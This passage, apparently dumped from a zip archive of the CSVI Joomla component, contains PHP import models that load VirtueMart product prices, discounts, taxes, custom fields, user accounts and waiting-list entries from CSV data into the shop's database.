$this->_product_prices->virtuemart_shoppergroup_id = $this->helper->getShopperGroupId($this->shopper_group_name_new); } } // Calculate the new price $this->_product_prices->CalculatePrice(); if (is_null($this->product_price) && is_null($this->product_override_price)) { // Delete the price $this->_product_prices->delete(); } else { // Store the price // Add some variables if needed // Set the modified date if the user has not done so if (!$this->_product_prices->get('modified_on')) { $this->_product_prices->set('modified_on', $this->date->toSql()); $this->_product_prices->set('modified_by', $this->user->id); } // Store the price $this->_product_prices->store(); } $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PRICE_QUERY'), true); } } /** * Stores the discount for a product * * @copyright * @author RolandD * @todo Add logging * @see * @access private * @param * @return * @since 3.0 */ private function _processDiscount() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESSING_DISCOUNT')); // Clear the calcs from any data $this->_calcs->reset(); // Determine if the discount field is a percentage if ($this->product_discount) { if (substr($this->product_discount,-1,1) == "%") { $this->_calcs->calc_value_mathop = '-%'; $this->_calcs->calc_value = substr($this->toPeriod($this->product_discount), 0, -1); } else { $this->_calcs->calc_value_mathop = '-'; $this->_calcs->calc_value = $this->cleanPrice($this->product_discount); } } if (!is_null($this->_calcs->calc_value) && $this->_calcs->calc_value > 0) { // Add the discount fields $this->_calcs->publish_up = $this->product_discount_date_start; $this->_calcs->publish_down = $this->product_discount_date_end; // Add a description to the discount $this->_calcs->calc_name = $this->product_discount; $this->_calcs->calc_descr = $this->product_discount; $this->_calcs->calc_shopper_published = 1; $this->_calcs->calc_vendor_published = 1; $this->_calcs->calc_currency = $this->_product_prices->product_currency; if (empty($this->calc_kind)) $this->_calcs->calc_kind = 'DBTax'; else $this->_calcs->calc_kind = $this->calc_kind; // Check if a discount already exists $this->_calcs->check(); // Store the discount if (!$this->_calcs->store()) { $csvilog->addDebug('COM_CSVI_DEBUG_ADD_DISCOUNT', true); return false; } $csvilog->addDebug('COM_CSVI_DEBUG_ADD_DISCOUNT', true); // Fill the product information with the discount ID $this->product_discount_id = $this->_calcs->virtuemart_calc_id; } else $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_NO_DISCOUNT')); } /** * Process a tax rate * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _processTax() { if ($this->product_tax > 0) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESSING_TAX')); // Clear the calcs from any data $this->_calcs->reset(); // Add some data $this->_calcs->calc_kind = 'Tax'; $this->_calcs->calc_value = $this->product_tax; $this->_calcs->calc_value_mathop = '+%'; // Check if the tax rate already exists if (!$this->_calcs->check()) { $this->_calcs->virtuemart_vendor_id = $this->virtuemart_vendor_id; $this->_calcs->calc_name = JText::_('COM_CSVI_AUTO_TAX_RATE'); $this->_calcs->calc_descr = JText::_('COM_CSVI_AUTO_TAX_RATE_DESC'); $this->_calcs->calc_currency = $this->helper->getVendorCurrency($this->virtuemart_vendor_id); $this->_calcs->calc_shopper_published = 1; $this->_calcs->calc_vendor_published = 1; $this->_calcs->publish_up = $this->date->toMySQL(); $this->_calcs->created_on = $this->date->toMySQL(); $this->_calcs->created_by = $this->user->id; $this->_calcs->modified_on = $this->date->toMySQL(); $this->_calcs->modified_by = $this->user->id; $this->_calcs->store(); $csvilog->addDebug(JText::_('COM_CSVI_ADD_TAX_RATE'), true); } $this->product_tax_id = $this->_calcs->virtuemart_calc_id; } } /** * Gets the default manufacturer ID * As there is no default manufacturer, we take the first one * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return integer database ID of the default manufacturer * @since 4.0 */ private function _getDefaultManufacturerID() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); // Check if product already has a manufacturer link if (isset($this->product_sku)) { $query = $db->getQuery(true); $query->select('virtuemart_manufacturer_id'); $query->from('#__virtuemart_product_manufacturers m'); $query->leftJoin('#__virtuemart_products p ON m.virtuemart_product_id = p.virtuemart_product_id'); $query->where('product_sku = '.$db->Quote($this->product_sku)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_MANUFACTURER_ID_SKU'), true); $mf_id = $db->loadResult(); } else if (isset($this->virtuemart_product_id)) { $query = $db->getQuery(true); $query->select('virtuemart_manufacturer_id'); $query->from('#__virtuemart_product_manufacturers m'); $query->where('virtuemart_product_id = '.$db->Quote($this->virtuemart_product_id)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_MANUFACTURER_ID_ID'), true); $mf_id = $db->loadResult(); } // Check if we have a result if (!$mf_id) { $query = $db->getQuery(true); $query->select('MIN(virtuemart_manufacturer_id)'); $query->from('#__virtuemart_manufacturers'); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_DEFAULT_MANUFACTURER_ID'), true); $mf_id = $db->loadResult(); } $this->_manufacturers_lang->virtuemart_manufacturer_id = $mf_id; } /** * Create image name * * Check if the user wants to have CSVI VirtueMart create the image names if so * create the image names without path * * @copyright * @author RolandD * @todo * @see processImage() * @access private * @param * @return * @since 3.0 */ private function _createImageName() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $csvilog->addDebug(JText::_('COM_CSVI_GENERATE_IMAGE_NAME')); // Create extension $ext = $template->get('autogenerateext', 'image'); // Check if the user wants to convert the images to a different type switch ($template->get('type_generate_image_name', 'image')) { case 'product_sku': $csvilog->addDebug(JText::_('COM_CSVI_CREATE_PRODUCT_SKU_NAME')); if (!is_null($this->product_sku)) $name = $this->product_sku; else { $csvilog->AddStats('error', JText::_('COM_CSVI_CANNOT_FIND_PRODUCT_SKU')); return false; } break; case 'product_name': $csvilog->addDebug(JText::_('COM_CSVI_CREATE_PRODUCT_NAME_NAME')); if (!is_null($this->_products_lang->product_name)) $name = $this->_products_lang->product_name; else { $csvilog->AddStats('error', JText::_('COM_CSVI_CANNOT_FIND_PRODUCT_NAME')); return false; } break; case 'product_id': $csvilog->addDebug(JText::_('COM_CSVI_CREATE_PRODUCT_ID_NAME')); if (!is_null($this->virtuemart_product_id)) $name = $this->virtuemart_product_id; else { $csvilog->AddStats('error', JText::_('COM_CSVI_CANNOT_FIND_PRODUCT_ID')); return false; } break; case 'random': $csvilog->addDebug(JText::_('COM_CSVI_CREATE_RANDOM_NAME')); $name = mt_rand(); break; } $image_name = $name.'.'.$ext; $csvilog->addDebug(JText::sprintf('COM_CSVI_CREATED_IMAGE_NAME', $image_name)); $this->product_full_image_output = $image_name; // Check if the user is supplying image data if (is_null($this->file_url)) $this->file_url = $this->product_full_image_output; return true; } /** * Process custom fields * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _processCustomFields() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); // Get the values $values = explode('~', $this->custom_value); $prices = explode('~', $this->custom_price); $params = explode('~', $this->custom_param); $titles = explode('~', $this->custom_title); if (!empty($values)) { foreach ($values as $key => $value) { // Get the custom ID if (!isset($this->customtitles[$titles[$key]])) { $query = $db->getQuery(true); $query->select('virtuemart_custom_id'); $query->from('#__virtuemart_customs'); $query->where($db->quoteName('custom_title').' = '.$db->Quote($titles[$key])); $db->setQuery($query); $virtuemart_custom_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_CUSTOMFIELD_QUERY'), true); if ($virtuemart_custom_id) { $this->customtitles[$titles[$key]] = $virtuemart_custom_id; // Empty out any existing values $query = $db->getQuery(true); $query->delete($db->quoteName('#__virtuemart_product_customfields')); $query->where($db->quoteName('virtuemart_product_id').' = '.$db->quote($this->virtuemart_product_id)); $query->where($db->quoteName('virtuemart_custom_id').' = '.$virtuemart_custom_id); $db->setQuery($query); $db->query(); $csvilog->addDebug('COM_CSVI_REMOVE_EXISTING_CUSTOM_VALUES', true); } else { $csvilog->addDebug('COM_CSVI_NO_CUSTOM_ID_FOUND'); return false; } } else { $virtuemart_custom_id = $this->customtitles[$titles[$key]]; } // Set the product ID $this->_product_customfields->virtuemart_product_id = $this->virtuemart_product_id; $this->_product_customfields->virtuemart_custom_id = $virtuemart_custom_id; $this->_product_customfields->custom_value = $value; if (isset($prices[$key])) $this->_product_customfields->custom_price = $prices[$key]; if (isset($params[$key])) { // See if we are dealing with a stockable variant if ($value == 'stockable') { // We need to create a new object $param_value = new stdClass(); $param_value->child = new stdClass(); // Data is received in the format: // product_sku[option1#option2[price;product_sku[option1#option2[price // Get all the products $param_entries = explode(';', $params[$key]); foreach ($param_entries as $entry) { $param_sku = false; $entry_parts = explode('[', $entry); // Create the new class $sku = new stdClass(); $sku->is_variant = 1; if (isset($entry_parts[0]) && !empty($entry_parts[0])) { // Find the product ID $param_sku = $entry_parts[0]; $params_options = explode('#', $entry_parts[1]); foreach ($params_options as $pkey => $param_option) { $name = 'selectoptions'.($pkey+1); $sku->$name = $param_option; } if (isset($entry_parts[2]) && !empty($entry_parts[2])) $sku->custom_price = $entry_parts[2]; else $sku->custom_price = ''; } if ($param_sku) $param_value->child->$param_sku = $sku; } $this->_product_customfields->custom_param = json_encode($param_value); } else $this->_product_customfields->custom_param = $params[$key]; } // Check for an existing entry if (!$this->_product_customfields->check()) { $this->_product_customfields->created_on = $this->date->toSql(); $this->_product_customfields->created_by = $this->user->id; } // Set a modified date if (!isset($this->modified_on)) { $this->_product_customfields->modified_on = $this->date->toSql(); $this->_product_customfields->modified_by = $this->user->id; } else { $this->_product_customfields->modified_on = $this->modified_on; $this->_product_customfields->modified_by = $this->user->id; } // Store the custom field $this->_product_customfields->store(); $csvilog->addDebug('COM_CSVI_DEBUG_CUSTOMFIELD_QUERY', true); // Reset the field $this->_product_customfields->reset(); } } } /** * Delete a product and its references * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _deleteProduct() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Delete the product if ($this->_products->delete($this->virtuemart_product_id)) { $db = JFactory::getDbo(); // Delete product translations jimport('joomla.language.helper'); $languages = array_keys(JLanguageHelper::getLanguages('lang_code')); foreach ($languages as $language){ $query = $db->getQuery(true); $query->delete('#__virtuemart_products_'.strtolower(str_replace('-', '_', $language))); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRODUCT_LANG_XREF'), true); $db->query(); } // Delete category reference $query = $db->getQuery(true); $query->delete('#__virtuemart_product_categories'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_CATEGORY_XREF'), true); $db->query(); // Delete manufacturer reference $query = $db->getQuery(true); $query->delete('#__virtuemart_product_manufacturers'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_MANUFACTURER_XREF'), true); $db->query(); // Reset child parent reference $query = $db->getQuery(true); $query->update('#__virtuemart_products'); $query->set('product_parent_id = 0'); $query->where('product_parent_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRODUCT_PARENT'), true); $db->query(); // Delete prices $query = $db->getQuery(true); $query->delete('#__virtuemart_product_prices'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRICES_XREF'), true); $db->query(); // Delete shopper groups $query = $db->getQuery(true); $query->delete('#__virtuemart_product_shoppergroups'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_SHOPPERGROUP_XREF'), true); $db->query(); // Delete prices $query = $db->getQuery(true); $query->delete('#__virtuemart_product_prices'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRICES_XREF'), true); $db->query(); // Delete custom fields $query = $db->getQuery(true); $query->delete('#__virtuemart_product_customfields'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_CUSTOMFIELDS_XREF'), true); $db->query(); // Delete media $query = $db->getQuery(true); $query->delete('#__virtuemart_product_medias'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_MEDIA_XREF'), true); $db->query(); // Delete ratings $query = $db->getQuery(true); $query->delete('#__virtuemart_product_ratings'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_RATINGS_XREF'), true); $db->query(); // Delete rating reviews $query = $db->getQuery(true); $query->delete('#__virtuemart_product_rating_reviews'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_RATING_REVIEWS_XREF'), true); $db->query(); // Delete rating votes $query = $db->getQuery(true); $query->delete('#__virtuemart_product_rating_votes'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_RATING_VOTES_XREF'), true); $db->query(); $csvilog->AddStats('deleted', JText::sprintf('COM_CSVI_PRODUCT_DELETED', $this->record_identity)); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_NOT_DELETED', $this->record_identity)); } return true; } /** * Convert the product SKU to product ID in the parent properties * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 1.0 */ private function _processParentValues() { if (isset($this->product_sku) && !is_null($this->product_parent_id)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $param_sku = $this->_products->virtuemart_product_id; $sku = $this->product_sku; // Load the values $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('custom_param'); $query->from('#__virtuemart_product_customfields'); $query->where('virtuemart_product_id = '.$this->product_parent_id); $query->where('custom_value = '.$db->quote('stockable')); $db->setQuery($query); $params = $db->loadResult(); $values = json_decode($params); // Replace the key if it exists if (isset($values->child->$sku)) { $values->child->$param_sku = $values->child->$sku; unset($values->child->$sku); // Store the values $query = $db->getQuery(true); $query->update('#__virtuemart_product_customfields'); $query->set('custom_param = '.$db->quote(json_encode($values))); $query->where('virtuemart_product_id = '.$this->product_parent_id); $query->where('custom_value = '.$db->quote('stockable')); $db->setQuery($query); $db->query(); $csvilog->addDebug('COM_CSVI_DEBUG_STORE_PARENT_VALUE', true); } else { $csvilog->addDebug('COM_CSVI_DEBUG_NO_PARENT_VALUE_FOUND', true); } } } /** * Process the shopper groups * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.5.2 */ private function _processShopperGroup() { if (!empty($this->shopper_group_name)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Get the shopper group names $names = explode('|', $this->shopper_group_name); foreach ($names as $name) { $data = array(); $data['virtuemart_shoppergroup_id'] = $this->helper->getShopperGroupId($name); $data['virtuemart_product_id'] = $this->virtuemart_product_id; $this->_product_shoppergroups->bind($data); if(!$this->_product_shoppergroups->check()) { if ($this->_product_shoppergroups->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_PRODUCT_SHOPPERGROUP')); else if ($this->queryResult() == 'INSERT') $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_PRODUCT_SHOPPERGROUP')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_SHOPPERGROUP_NOT_ADDED', $this->_product_shoppergroups->getError())); return false; } } } } } }PKs>\«x$;$;8com_csvi/models/com_virtuemart/import/userinfoimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo change cdate/mdate to use JDate * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'address_type': switch (strtolower($value)) { case 'shipping address': case 'st': $this->$name = 'ST'; break; case 'billing address': case 'bt': default: $this->$name = 'BT'; break; } break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo Add a beter text for MISSING_REQUIRED_FIELDS * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $userdata = array(); jimport('joomla.user.helper'); // See if we have a user_info_id if (empty($this->virtuemart_userinfo_id)) { // No user_info_id, maybe we have user_id, address_type and address_type_name if ((!isset($this->virtuemart_user_id) && (!isset($this->email))) || !isset($this->address_type) || !isset($this->address_type_name)) { // No way to identify what needs to be updated, set error and return $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MISSING_REQUIRED_FIELDS')); return false; } } // We have a virtuemart_userinfo_id, do we have a virtuemart_user_id else { $query = $db->getQuery(true); $query->select('virtuemart_user_id'); $query->from('#__virtuemart_userinfos'); $query->where('virtuemart_userinfo_id = '.$db->Quote($this->virtuemart_userinfo_id)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_FIND_USER_ID_FROM_VM'), true); $this->virtuemart_user_id = $db->loadResult(); } // Check for the user_info_id if (empty($this->virtuemart_userinfo_id)) { // See if we have a user_id or user_email if (!isset($this->virtuemart_user_id) && isset($this->email)) { // We have an e-mail address, find the user_id $query = $db->getQuery(true); $query->select('id'); $query->from('#__users'); $query->where('email = '.$db->Quote($this->email)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_FIND_USER_ID_FROM_JOOMLA'), true); $this->virtuemart_user_id = $db->loadResult(); } if ($this->virtuemart_user_id) { // if we have a user_id we can get the user_info_id $query = $db->getQuery(true); $query->select('virtuemart_userinfo_id'); $query->from('#__virtuemart_userinfos'); $query->where('virtuemart_user_id = '.$this->virtuemart_user_id); $query->where('address_type = '.$db->Quote($this->address_type)); $query->where('address_type_name = '.$db->Quote($this->address_type_name)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_FIND_USER_INFO_ID'), true); $this->virtuemart_userinfo_id = $db->loadResult(); } } // If it is a new Joomla user but no username is set, we must set one if ((!isset($this->virtuemart_user_id) || !$this->virtuemart_user_id) && !isset($this->username)) { $userdata['username'] = $this->email; } // Set the username else if (isset($this->username)) $userdata['username'] = $this->username; // Check if we have an encrypted password if (isset($this->password_crypt)) { $userdata['password'] = $this->password_crypt; } else if (isset($this->password)) { // Check if we have an encrypted password $salt = JUserHelper::genRandomPassword(32); $crypt = JUserHelper::getCryptedPassword($this->password, $salt); $password = $crypt.':'.$salt; $userdata['password'] = $password; } // No user id, need to create a user if possible if (!isset($this->virtuemart_user_id) && isset($this->email) && isset($this->password)) { // Set the creation date $date = JFactory::getDate(); $userdata['registerDate'] = $date->toMySQL(); } else if (!isset($this->virtuemart_user_id) && (!isset($this->email) || !isset($this->password))) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_NEW_USER_PASSWORD_EMAIL')); return false; } else { // Set the id $userdata['id'] = $this->virtuemart_user_id; } // Only store the Joomla user if there is an e-mail address supplied if (isset($this->email)) { // Set the name if (isset($this->name)) $userdata['name'] = $this->name; else { $fullname = false; if (isset($this->first_name)) $fullname .= $this->first_name.' '; if (isset($this->last_name)) $fullname .= $this->last_name; if (!$fullname) $fullname = $this->user_email; $userdata['name'] = trim($fullname); } // Set the email $userdata['email'] = $this->email; // Set if the user is blocked if (isset($this->block)) $userdata['block'] = $this->block; // Set the sendEmail if (isset($this->sendemail)) $userdata['sendEmail'] = $this->sendemail; // Set the registerDate if (isset($this->registerdate)) $userdata['registerDate'] = $this->registerdate; // Set the lastvisitDate if (isset($this->lastvisitdate)) $userdata['lastvisitDate'] = $this->lastvisitdate; // Set the activation if (isset($this->activation)) $userdata['activation'] = $this->activation; // Set the params if (isset($this->params)) $userdata['params'] = $this->params; // Check if we have a group ID if (!isset($this->group_id)) { $query = $db->getQuery(true); $query->select('id'); $query->from('#__usergroups'); $query->where($db->quoteName('title').' = '.$db->Quote($this->usergroup_name)); $db->setQuery($query); $this->group_id = $db->loadResult(); if (empty($this->group_id)) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_USERGROUP_FOUND', $this->usergroup_name)); return false; } } // Bind the data $this->_user->bind($userdata); // Store/update the user if ($this->_user->store()) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_JOOMLA_USER_STORED'), true); // Get the new user ID $this->virtuemart_user_id = $this->_user->id; // Empty the usergroup map table $query = $db->getQuery(true); $query->delete('#__user_usergroup_map'); $query->where('user_id = '.$this->virtuemart_user_id); $db->setQuery($query); $db->query(); // Store the user in the usergroup map table $query = $db->getQuery(true); $query->insert('#__user_usergroup_map'); $query->values($this->virtuemart_user_id.', '.$this->group_id); $db->setQuery($query); // Store the map if ($db->query()) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_JOOMLA_USER_MAP_STORED'), true); } else $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_JOOMLA_USER_MAP_NOT_STORED'), true); } else $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_JOOMLA_USER_NOT_STORED'), true); } else $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_JOOMLA_USER_SKIPPED')); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_userinfos->modified_on = $this->date->toMySQL(); $this->_userinfos->modified_by = $this->user->id; } // Bind the VirtueMart user data $this->_userinfos->bind($this); // Store the VirtueMart user info if ($this->_userinfos->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_USERINFO')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_USERINFO')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_USERINFO_NOT_ADDED', $this->_userinfos->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_USERINFO_QUERY'), true); // See if there is any shopper group information to be stored // user_id, vendor_id, shopper_group_id, customer number // Get the user_id if (!isset($this->virtuemart_user_id) && isset($this->_userinfos->virtuemart_userinfo_id)) { $this->virtuemart_user_id = $_userinfos->virtuemart_user_id; } // Get the vendor_id if (empty($this->virtuemart_vendor_id) && isset($this->vendor_name)) { $query = $db->getQuery(true); $query->select('virtuemart_vendor_id'); $query->from('#__virtuemart_vendors'); $query->where('vendor_name = '.$db->Quote($this->vendor_name)); $db->setQuery($query); $this->virtuemart_vendor_id = $db->loadResult(); if (empty($this->vendor_id)) $this->virtuemart_vendor_id = $this->helper->getVendorId(); } else $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Get the shopper_group_id if (empty($this->virtuemart_shoppergroup_id) && isset($this->shopper_group_name)) { $query = $db->getQuery(true); $query->select('virtuemart_shoppergroup_id'); $query->from('#__virtuemart_shoppergroups'); $query->where('shopper_group_name = '.$db->Quote($this->shopper_group_name)); $db->setQuery($query); $this->virtuemart_shoppergroup_id = $db->loadResult(); if (empty($this->virtuemart_shoppergroup_id)) $this->virtuemart_shoppergroup_id = $this->helper->getDefaultShopperGroupID(); } else if (!isset($this->virtuemart_shoppergroup_id) && !isset($this->shopper_group_name)) $this->virtuemart_shoppergroup_id = $this->helper->getDefaultShopperGroupID(); // Bind the shopper group data $this->_vmuser_shoppergroups->bind($this); $this->_vmuser_shoppergroups->check(); if ($this->_vmuser_shoppergroups->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_SHOPPER_GROUP')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_SHOPPER_GROUP')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_SHOPPER_GROUP_NOT_ADDED', $this->_vmuser_shoppergroups->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_SHOPPER_GROUP_QUERY'), true); // See if there is any vmusers entry $this->_vmusers->load($this->virtuemart_user_id); if (empty($this->_vmusers->virtuemart_user_id)) { if (!isset($this->user_is_vendor)) $this->user_is_vendor = 0; if (!isset($this->customer_number)) $this->customer_number = md5($userdata['username']); if (!isset($this->perms)) $this->perms = 'shopper'; if (!isset($this->virtuemart_paymentmethod_id)) $this->virtuemart_paymentmethod_id = null; if (!isset($this->virtuemart_shipmentmethod_id)) $this->virtuemart_shipmentmethod_id = null; if (!isset($this->agreed)) $this->agreed = 0; } // Bind the data $this->_vmusers->bind($this); // Check the vmusers table if ($this->_vmusers->check()) { // Update the dates if (!isset($this->modified_on)) { $this->_vmusers->modified_on = $this->date->toMySQL(); $this->_vmusers->modified_by = $this->user->id; } } else { $this->_vmusers->created_on = $this->date->toMySQL(); $this->_vmusers->created_by = $this->user->id; } // Store the vmusers data if ($this->_vmusers->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_VMUSERS')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_VMUSERS')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_VMUSERS_NOT_ADDED', $this->_vmusers->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_VMUSERS_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the user info related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_userinfos = $this->getTable('userinfos'); $this->_vmusers = $this->getTable('vmusers'); $this->_vmuser_shoppergroups = $this->getTable('vmuser_shoppergroups'); $this->_user = $this->getTable('users'); } /** * Cleaning the user info related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_userinfos->reset(); $this->_vmusers->reset(); $this->_vmuser_shoppergroups->reset(); $this->_user->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?>PKs>\#o,,0com_csvi/models/com_virtuemart/import/index.htmlnuW+APKs>\Хi;com_csvi/models/com_virtuemart/import/waitinglistimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_product_id = $this->helper->getProductId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { default: $this->$name = $value; break; } } // All is good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Get the user ID if (empty($this->virtuemart_user_id)) { $this->virtuemart_user_id = $this->_getUserId(); if (empty($this->virtuemart_user_id)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_WAITINGLIST_NO_USER_FOUND')); return false; } } if (empty($this->virtuemart_product_id)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_WAITINGLIST_NO_PRODUCT_FOUND')); return false; } if ($this->virtuemart_product_id && $this->virtuemart_user_id && $this->notify_email) { // Bind the data $this->_waitingusers->bind($this); // Check the data $this->_waitingusers->check(); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_waitingusers->modified_on = $this->date->toMySQL(); $this->_waitingusers->modified_by = $this->user->id; } if (empty($this->_waitingusers->virtuemart_waitinguser_id)) { $this->_waitingusers->created_on = $this->date->toMySQL(); $this->_waitingusers->created_by = $this->user->id; } // Store the data if ($this->_waitingusers->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_WAITINGLIST')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_WAITINGLIST')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_WAITINGLIST_NOT_ADDED', $this->_waitingusers->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_WAITINGLIST_QUERY'), true); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_WAITINGLIST_NO_USER_PRODUCT_ID')); } // Clean the tables $this->cleanTables(); } /** * Load the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.01 */ private function _loadTables() { $this->_waitingusers = $this->getTable('waitingusers'); } /** * Cleaning the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.1 */ protected function cleanTables() { $this->_waitingusers->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Get the user ID * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return mixed int when user ID found | false when not found * @since 3.1 */ private function 